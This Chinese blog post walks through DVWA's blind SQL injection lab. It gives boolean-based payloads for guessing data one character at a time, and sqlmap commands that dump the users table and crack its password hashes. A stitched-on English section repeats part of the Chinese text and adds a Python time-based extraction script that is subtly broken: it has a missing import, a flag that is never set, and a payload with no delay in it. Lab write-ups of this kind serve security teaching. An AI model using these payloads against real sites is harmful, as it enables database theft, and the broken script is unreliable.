dvwa-sql盲注

本文详细介绍了SQL盲注的原理和不同类型,包括基于布尔和时间的盲注。通过实例展示了如何利用sqlmap工具进行SQL注入攻击,以及如何手动逐字符猜解数据库、表和字段信息。同时,文章还探讨了防御SQL盲注的方法,如参数化查询、特殊字符转义等。

sql盲注

low级别

先提交个参数,发现执行成功就是回显时只是说这个id存在数据库,没有回显出id具体信息,怪不得叫盲注。

在这里插入图片描述

分析源码没有对所提交参数id做任何处理就直接执行了,只是回显的时候被隐藏了。

在这里插入图片描述

其实也可以通过ascaii码来一个一个字符弄出来,输入1’ and length(database())=1#,显示User ID is MISSING from the database.
输入1’ and length(database())=2#,显示User ID is MISSING from the database.
输入1’ and length(database())=3#,显示User ID is MISSING from the database.
输入1’ and length(database())=4#,显示User ID exists in the database.
说明数据库名长度为4.
数据库名:
输入1’ and ascii(substr(database(),1,1))>97#,显示User ID exists in the database.,说明第一个字符的ascii值大于97(a)
输入1’ and ascii(substr(database(),1,1))<122#,显示User ID exists in the database.,说明第一个字符的ascii值小于122(z)
输入1’ and ascii(substr(database(),1,1))<110#,显示User ID exists in the database.,说明第一个字符的ascii值小于110(n)
输入1’ and ascii(substr(database(),1,1))<104#,显示User ID exists in the database.,说明第一个字符的ascii值小于104(h)
输入1’ and ascii(substr(database(),1,1))<100#,显示User ID is MISSING from the database.
,说明第一个字符的ascii值不小于100(d)
输入1’ and ascii(substr(database(),1,1))>100#,显示User ID is MISSING from the database.
,说明第一个字符的ascii值不大于100(d)
输入1’ and ascii(substr(database(),1,1))=100#,显示User ID exists in the database.
,说明第一个字符的ascii值等于100(d)
根据上述二分法最终得到数据库名为dvwa。

但是这样太麻烦,直接sqlmap 莽就完事了,懂得利用工具才是人,冲就完事了

在这里插入图片描述

发现有两个类型的注入漏洞,一个是基于布尔的,一个是基于时间的

在这里插入图片描述

然后用–dbs ,遍历出全部数据库pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” --dbs

在这里插入图片描述

查看当前数据库pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” --current-db

在这里插入图片描述

知道数据库直接继续冲有什么表pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” -D dvwa --tables
在这里插入图片描述

然后看看表里属性的信息pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=7vfeeee0bd1pd8ia10vqs1o3q4” -D dvwa -T users --columns

在这里插入图片描述

接着直接看见user和password就直接莽内容

pyload:sqlmap -u “http://192.168.60.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie “security=low; PHPSESSID=56ohejeqpp84475jdbun08fsv4” -D dvwa -T users --dump

因为密码有哈希值他问我要不要直接用他的字典爆破,其实用不用无所谓自己查也可以,懒点就点yes,摆烂直接自动破解,结果如图,只爆破出两个,不过也够了。
在这里插入图片描述

medium级别

查看源码是数字型注入,还有一个过滤特殊符号的函数,其实也可以拿工具冲。

在这里插入图片描述

首先抓个包复制http请求包到文件sql.txt里,然后直接用sqlmap冲,

在这里插入图片描述

直接把漏洞爆破出来了
在这里插入图片描述

摸下数据库pyload:sqlmap -r sql.txt --current-db 后面都是输命令就行,不多演示。

在这里插入图片描述

high级别

分析源码发现限制了输出行数为一行,而且失败时 当他随机生成的数等于3就会随机休眠2-4秒,目的是干扰基于时间的盲注

在这里插入图片描述

继续用sqlmap莽,先把包搞里头

在这里插入图片描述

然后发现莽不动了,那只能用手工了,因为时间盲注被限制了,只能用布尔盲注,ascll码慢慢冲

在这里插入图片描述

用手工的方式,基本思路:count确定数量,length()函数确定长度,然后用ascii码substr截取比较排除,这里一般用二分法。

前面low级别已经手工冲出数据库为dvwa,接下来冲表

先确定好数据库里有几个表

pyload:1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #显示 MISSING

pyload:1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2#显示 exists

可知道表的个数为2

接下来猜表名信息

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =1#显示 MISSING

1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) =9#显示 exists

可知表名长度为9

猜表的字符

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >100#显示 exists

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >103# 显示MISSING

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =103#显示 exists

可知为第一个字符为g

在这里插入图片描述

依照猜解第一个表的第一个字符,我们就可以同理猜解出第二个,第三个,一直到第九个,最后,这第一个表名为guestsbook

同理再来猜解第二个表的长度和表名:最后得出第二个表的长度为5,表明为users

接着是猜字段,一样的原理,先搞数量然后,长度,然后字符

数量pyload:1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)=11

得数量为11

长度pyload:1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 0,1))=7 #

得第一个字符串长度为7

字符pyload:1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))=117 #

得第一个字符串的第一个字符为u,紧接着,同理我们可以猜出第二个,第三个,一直到第七个字符
最后猜解出users表的第一个字段的字段名是user_id

同理我们也可以猜出第二个,第三个,第四个直到第十一个字段名是first_name,ast_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

接着是表内容

数量pyload:1’ and ((select count(user) from users ))=5

得数量为5

长度pyload:1’ and length((select user from users limit 0,1))=5 #

得第一个字符串长度为5

字符pyload:1’ and ascii(substr((select user from users limit 0,1),1,1))=97 #

得第一个字符串的第一个字符为a

依次得第一个字符串为admin

总结

漏洞原理:关于sql一般有基于时间的盲注和基于布尔的盲注,归根结底还是参数处理没做好转义

方法:基于时间的盲注和基于布尔的盲注

防御:

1.通过waf sql限制策略

2.预处理+参数化

3.对特殊字符做转义,限制

4.对于基于时间的可以用sleep函数干扰

的第一个字符为a

依次得第一个字符串为admin

### DVWA SQL Blind Injection High Level Attack Method In the context of DVWA (Damn Vulnerable Web Application), tackling a high-level SQL blind injection requires an understanding that this difficulty level incorporates several defensive measures to prevent straightforward exploitation. The application employs `mysql_real_escape_string` function which escapes special characters in a string for use in an SQL statement, effectively neutralizing many traditional SQL injection vectors[^2]. Additionally, parameters such as passwords are subjected to MD5 hashing before being processed by the database. For executing successful attacks on higher levels within DVWA's SQL blind injection challenge: - **Time-Based Blind SQL Injection**: Since direct data retrieval is not possible due to lack of output from queries, time-based techniques can be employed where one crafts payloads causing delays when certain conditions evaluate to true. This allows inferring information about the underlying database structure and content based on response times. An example payload might look like: ```sql ' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), false)-- ``` - **Boolean-Based Blind SQL Injection**: Another approach involves sending requests with crafted inputs designed so they result either in visible page differences between true/false outcomes without explicit error messages or changes in behavior observable through automated means. Given these constraints, it becomes necessary to systematically deduce each character position until enough information has been gathered regarding desired secrets stored inside databases connected to vulnerable web applications. #### Example Code Snippet Demonstrating Time-Delay Technique ```python import requests from string import ascii_lowercase, digits url = "http://example.com/dvwa/vulnerabilities/sqli_blind/" characters = ascii_lowercase + digits result = "" for i in range(1, 20): # Assuming maximum length of version string found_char = False for char in characters: payload = f"' OR ASCII(SUBSTRING((SELECT @@version LIMIT 1 OFFSET {i}),{i},1))={ord(char)}-- " start_time = time.time() res = requests.post(url, data={'id':payload,'Submit':'Submit'}) elapsed_time = time.time() - start_time if elapsed_time >= 5: # Adjust threshold according to server latency result += char print(f"[+] Found Character at Position {i}: {char}") break if not found_char: break print("[*] Retrieved Version String:", result) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值